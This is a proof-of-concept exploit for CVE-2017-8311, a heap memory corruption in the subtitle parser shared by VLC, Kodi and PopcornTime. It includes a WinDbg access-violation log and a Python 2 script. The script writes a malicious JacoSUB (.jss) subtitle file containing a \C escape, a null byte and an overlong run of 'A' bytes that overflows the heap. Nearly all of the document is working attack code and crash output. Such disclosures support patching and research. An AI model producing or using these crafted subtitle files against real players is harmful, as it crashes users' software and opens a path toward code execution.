VLC Media Player/Kodi/PopcornTime Memory Corruption

`"""  
VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 Memory Corruption (PoC)  
Author: SivertPL ([email protected])  
CVE: CVE-2017-8311  
  
Infamous VLC/Kodi/PopcornTime subtitle attack in libsubtitle_plugin.dll.  
This is the Proof of Concept of the reverse engineered heap corruption vulnerability affecting JacoSUB parsing in VLC/Kodi/PopcornTime.  
The crash is exploitable, but hard to exploit because of various environmental constraints such as threading/mitigations/scriptless.  
I want to join a research team.  
"""  
  
"""  
ModLoad: 00000000`71660000 00000000`716a2000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll  
ModLoad: 00000000`71630000 00000000`71651000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll  
ModLoad: 00000000`71610000 00000000`7162e000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll  
ModLoad: 00000000`71600000 00000000`7160d000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll  
ModLoad: 00000000`715e0000 00000000`715fd000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll  
ModLoad: 00000000`715d0000 00000000`715de000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll  
ModLoad: 00000000`715b0000 00000000`715cf000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll  
core demux error: option sub-original-fps does not exist  
(33c.d10): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll -  
libsubtitle_plugin+0x44de:  
715b44de 881f mov byte ptr [edi],bl ds:002b:1b9fb000=??  
0:012:x86> g  
(33c.d10): Access violation - code c0000005 (!!! second chance !!!)  
wow64!Wow64NotifyDebugger+0x1d:  
00000000`754ac9f1 654c8b1c2530000000 mov r11,qword ptr gs:[30h] gs:00000000`00000030=????????????????  
"""  
  
import os  
import struct  
import sys  
import argparse  
  
len = 1025  
  
def main(argv):  
parser = argparse.ArgumentParser()  
parser.add_argument("filename", help="Name of the movie file w/o extension, for generating payload")  
parser.add_argument("--length", help="Heap overwrite length (default 1025, may be bigger)", type=int)  
args = parser.parse_args()  
if args.length:  
global len  
len = args.length  
print "[+] Generating file %s.jss with overwrite size of %d" % (args.filename, len)  
write(args.filename, len)  
  
def write(name, len):  
subtitles = open("%s.jss" % name, "w+")  
subtitles.write("0:00:02.00 0:00:04.00 VL red chimera..\n")  
subtitles.write("0:00:04.00 0:00:05.00 vm attack")  
subtitles.write("\\C")  
subtitles.write(struct.pack('B', 0))  
subtitles.write('A' * len)  
subtitles.close()  
print "[+] Done!"  
  
if __name__ == "__main__":  
main(sys.argv[1:])  
  
  
`